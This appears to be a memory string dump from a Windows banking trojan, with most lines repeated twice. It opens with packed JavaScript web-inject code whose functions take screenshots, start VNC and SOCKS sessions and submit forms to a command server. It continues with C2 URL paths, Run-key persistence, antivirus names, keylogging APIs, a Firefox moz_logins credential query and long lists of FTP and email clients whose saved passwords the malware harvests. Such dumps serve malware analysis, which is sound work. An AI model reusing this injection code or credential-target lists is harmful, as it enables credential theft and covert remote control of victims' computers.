j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '

eval('var %s '

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

%s.Hide('%0.8X%0.8X');

CertificateAuthority

CertificateAuthority

%s.pfx

%s.pfx

cookies.sqlite

cookies.sqlite

cookies.sqlite-journal

cookies.sqlite-journal

ff/%u/cookies.sqlite

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-Firefox-Spdy

X-WebKit-CSP

X-WebKit-CSP

hXXps://

hXXps://

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Content-Length: %u

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

login=%s&pass=%s

KERNEL32.DLL

KERNEL32.DLL

chrome.dll

chrome.dll

127.0.0.1

127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

[VNC] Parse param error: %s

\regsvr32.exe

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

fv_%u.avi

#FV_%u

#FV_%u

#FV_%s

#FV_%s

pass.txt

pass.txt

cert.pfx

cert.pfx

PFXImportCertStore

PFXImportCertStore

Crypt32.dll

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

prefs.js

csrss.exe

csrss.exe

smss.exe

smss.exe

wininit.exe

wininit.exe

services.exe

services.exe

svchost.exe

svchost.exe

lsass.exe

lsass.exe

lsm.exe

lsm.exe

winlogon.exe

winlogon.exe

taskhost.exe

taskhost.exe

WININET.DLL

WININET.DLL

HttpEndRequestA

HttpEndRequestA

HttpEndRequestW

HttpEndRequestW

ADVAPI32.DLL

ADVAPI32.DLL

Init in Browser = %u

Init in Browser = %u

Init in Shell = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

[Socks] Fail parse param: %s

#cert

#cert

[Pony] Fail Get Pass

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status[Local]: %u = %u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

Start VNC Status[Local]: %u

msvcrt.dll

msvcrt.dll

%0.8X%0.8X%c

%0.8X%0.8X%c

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

firefox.exe

firefox.exe

explorer.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

mozsqlite3.dll

sqlite3_open

sqlite3_open

sqlite3_exec

sqlite3_exec

sqlite3_close

sqlite3_close

sqlite3_free

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] cmd error: %u

[BC] Cmd need disconnect

[BC] Cmd need disconnect

ntdll.dll

ntdll.dll

Common Files\Doctor Web

Common Files\Doctor Web

Doctor Web

Doctor Web

McAfee.com

McAfee.com

DrWeb

DrWeb

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Kernel32.dll

Kernel32.dll

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfg

account.cfn

account.cfn

Dir #%u

Dir #%u

.oeaccount

.oeaccount

Software\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPort

PopPassword

PopPassword

SmtpServer

SmtpServer

SmtpPort

SmtpPort

SmtpAccount

SmtpAccount

SmtpPassword

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

MS IE FTP Passwords

Last Server Port

Last Server Port

Last Server Pass

Last Server Pass

Server.Port

Server.Port

Server.User

Server.User

Server.Host

Server.Host

Server.Pass

Server.Pass

Password

Password

Software\Far\Plugins\FTP\Hosts

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

\win.ini

WS_FTP

WS_FTP

\Ipswitch\WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP

sm.dat

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\CuteFTP

CUTEFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Sites.dat

\Quick.dat

\Quick.dat

\History.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

Software\BPFTP

\SmartFTP

\SmartFTP

Favorites.dat

Favorites.dat

History.dat

History.dat

Software\TurboFTP

Software\TurboFTP

\TurboFTP

\TurboFTP

addrbk.dat

addrbk.dat

quick.dat

quick.dat

Port

Port

Login

Login

PasswordType

PasswordType

profiles.xml

profiles.xml

\FTP Explorer

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

Software\FTP Explorer\Profiles

FtpSite.xml

FtpSite.xml

RushSite.xml

RushSite.xml

\FTPRush

\FTPRush

bitkinex.ds

bitkinex.ds

NDSites.ini

NDSites.ini

Software\LeechFTP

Software\LeechFTP

bookmark.dat

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

sites.db

servers.xml

servers.xml

\FTPGetter

\FTPGetter

ESTdb2.dat

ESTdb2.dat

\Estsoft\ALFTP

\Estsoft\ALFTP

QData.dat

QData.dat

SM.arch

SM.arch

FTP .Link\shell\open\command

FTP .Link\shell\open\command

NppFTP.xml

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

ServerList.xml

\FTPInfo

\FTPInfo

NovaFTP.db

NovaFTP.db

\INSoftware\NovaFTP

\INSoftware\NovaFTP

\sites.xml

\sites.xml

ftplast.osd

ftplast.osd

\SharedSettings.ccs

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

\32BitFtp.ini

FTPCON

FTPCON

FTP CONTROL

FTP CONTROL

FTPVoyager.ftp

FTPVoyager.ftp

\RhinoSoft.com

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.qc

FTPVoyager.Archive

FTPVoyager.Archive

SiteInfo.QFP

SiteInfo.QFP

WinFTP

WinFTP

DeluxeFTP

DeluxeFTP

sites.xml

sites.xml

Staff-FTP

Staff-FTP

sites.ini

sites.ini

FreshFTP

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPassword

LastPort

LastPort

BlazeFtp

BlazeFtp

site.dat

site.dat

\BlazeFtp

\BlazeFtp

GoFTP

GoFTP

Connections.txt

Connections.txt

3D-FTP

3D-FTP

\3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

EasyFTP

FTPNow

FTPNow

FTP Now

FTP Now

FTPShell

FTPShell

ftpshell.fsi

ftpshell.fsi

ftpsite.ini

ftpsite.ini

FTPList.db

FTPList.db

My FTP

My FTP

project.ini

project.ini

Mailbox.ini

Mailbox.ini

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

ftplist.txt

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

Software\FTPWare\COREFTP\Sites

FtpPort

FtpPort

Software\Cryer\WebSitePublisher

Software\Cryer\WebSitePublisher

_Password

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

FtpPassword

_FtpPassword

_FtpPassword

FtpServer

FtpServer

FtpUserName

FtpUserName

FtpDirectory

FtpDirectory

Software\FTPClient\Sites

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PortNumber

PassWord

PassWord

Software\South River Technologies\WebDrive\Connections

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

Software\LinasFTP\Site Manager

FTP destination password

FTP destination password

FTP destination server

FTP destination server

FTP destination port

FTP destination port

FTP destination user

FTP destination user

FTP destination catalog

FTP destination catalog

FTP profiles

FTP profiles

Msi.dll

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

\PocoSystem.ini

accounts.ini

accounts.ini

sites.dat

sites.dat

\LeapWare\LeapFTP

\LeapWare\LeapFTP

unleap.exe

unleap.exe

leapftp

leapftp

FtpIniName

FtpIniName

Software\Ghisler\Windows Commander

Software\Ghisler\Windows Commander

wcx_PTF.ini

wcx_PTF.ini

\sitemanager.xml

\sitemanager.xml

\recentservers.xml

\recentservers.xml

\filezilla.xml

\filezilla.xml

"password" : "

"password" : "

"password":"

"password":"

\drives.js

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wiseftpsrvs.ini

wisePTF.ini

wisePTF.ini

wiseftpsrvs.bin

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP Count

FTP File%u

FTP File%u

Robo-FTP

Robo-FTP

SOFTWARE\%s\FTPServers

SOFTWARE\%s\FTPServers

user.config

user.config

.duck

.duck

SiteServer %u\Host

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u-User PW

SiteServer %u\SFTP

SiteServer %u\SFTP

Keychain

Keychain

Software\Nico Mak Computing\WinZip\FTP

Software\Nico Mak Computing\WinZip\FTP

PK11_GetInternalKeySlot

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3.dll

sqlite3_prepare

sqlite3_prepare

sqlite3_step

sqlite3_step

sqlite3_column_bytes

sqlite3_column_bytes

sqlite3_column_blob

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

PTF://

signons.sqlite

signons.sqlite

\profiles.ini

\profiles.ini

PathToExe

PathToExe

\Mozilla\Firefox\

\Mozilla\Firefox\

Firefox

Firefox

Software\Mozilla

Software\Mozilla

fireFTPsites.dat

fireFTPsites.dat

\Mozilla\SeaMonkey\

\Mozilla\SeaMonkey\

SeaMonkey

SeaMonkey

\Mozilla\Profiles\

\Mozilla\Profiles\

Mozilla

Mozilla

password 51:b:

password 51:b:

SMTP Password

SMTP Password

HTTPMail Password

HTTPMail Password

NNTP Password

NNTP Password

IMAP Password

IMAP Password

POP3 Password

POP3 Password

SMTP Password2

SMTP Password2

HTTPMail Password2

HTTPMail Password2

NNTP Password2

NNTP Password2

IMAP Password2

IMAP Password2

POP3 Password2

POP3 Password2

IMAP Port

IMAP Port

SMTP Port

SMTP Port

POP3 Port

POP3 Port

SMTP User

SMTP User

HTTPMail Server

HTTPMail Server

HTTPMail User Name

HTTPMail User Name

HTTP Server URL

HTTP Server URL

HTTP User

HTTP User

SMTP User Name

SMTP User Name

SMTP Server

SMTP Server

SMTP Email Address

SMTP Email Address

{X-X-X-XX-XXXXXX}

{X-X-X-XX-XXXXXX}

inetcomm server passwords

inetcomm server passwords

outlook account manager passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

Pstorec.dll

[VNC] EXEC: %s

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

GetAsyncKeyState

USER32.DLL

USER32.DLL

GetKeyboardState

GetKeyboardState

GetKeyState

GetKeyState

?WINMM.DLL

?WINMM.DLL

?DSOUND.DLL

?DSOUND.DLL

ZwConnectPort

ZwConnectPort

NTDLL.DLL

NTDLL.DLL

[VNC] PROCESS=%s

[VNC] PROCESS=%s

\explorer.exe

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

[VNC] CreateProcess Status = %u (%u)

Chrome_WidgetWin_1

Chrome_WidgetWin_1

SysShadow

SysShadow

Chrome_WidgetWin_0

Chrome_WidgetWin_0

Dxtrans.dll

Dxtrans.dll

d3d11.dll

d3d11.dll

d3d9.dll

d3d9.dll

OPENGL32.dll

OPENGL32.dll

d2d1.dll

d2d1.dll

d3d10core.dll

d3d10core.dll

d3d10.dll

d3d10.dll

d3d10_1core.dll

d3d10_1core.dll

d3d10_1.dll

d3d10_1.dll

RegCloseKey

RegCloseKey

RegNotifyChangeKeyValue

RegNotifyChangeKeyValue

ShellExecuteA

ShellExecuteA

DeleteUrlCacheEntry

DeleteUrlCacheEntry

EnumWindows

EnumWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

SetViewportOrgEx

SetViewportOrgEx

RegEnumKeyExA

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyA

RegCreateKeyExA

RegCreateKeyExA

RegOpenKeyExA

RegOpenKeyExA

CryptImportKey

CryptImportKey

CryptDestroyKey

CryptDestroyKey

RegOpenKeyA

RegOpenKeyA

CertOpenSystemStoreA

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertAddCertificateContextToStore

CertCloseStore

CertCloseStore

CertEnumCertificatesInStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

CertDuplicateCertificateContext

PFXExportCertStoreEx

PFXExportCertStoreEx

SHDeleteKeyA

SHDeleteKeyA

FindFirstUrlCacheEntryA

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

FindNextUrlCacheEntryA

FindCloseUrlCache

FindCloseUrlCache

FindNextUrlCacheEntryW

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

FindFirstUrlCacheEntryW

WinExec

WinExec

KERNEL32.dll

KERNEL32.dll

MSVCRT.dll

MSVCRT.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

AVIFIL32.dll

AVIFIL32.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

CallNamedPipeA

CallNamedPipeA

ConnectNamedPipe

ConnectNamedPipe

CreateNamedPipeW

CreateNamedPipeW

DisconnectNamedPipe

DisconnectNamedPipe

CreateNamedPipeA

CreateNamedPipeA

GetWindowsDirectoryA

GetWindowsDirectoryA

COMDLG32.dll

COMDLG32.dll

.pdata

.pdata

@.reloc

@.reloc

CRYPT32.dll

CRYPT32.dll

[%s - X64 EQ PID: %u TID: %u]

[%s - X64 EQ PID: %u TID: %u]

\SysWOW64\regsvr32.exe

\SysWOW64\regsvr32.exe

[Pony] Fail create process: %u

[Pony] Fail create process: %u

[PONY] Fail inject to process: %u

[PONY] Fail inject to process: %u

iexplore.exe

iexplore.exe

chrome.exe

chrome.exe

\System32\kernel32.dll

\System32\kernel32.dll

\System32\kernelbase.dll

\System32\kernelbase.dll

\ThemeApiPort

\ThemeApiPort

spoolsv.exe_1444_rwx_01320000_0007B000:

.text

.text

.rdata

.rdata

@.data

@.data

.reloc

.reloc

t.FVSh4

t.FVSh4

_^SSSh

_^SSSh

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{11166F2F-6DE1-4205-8360-3AB2448931C2}

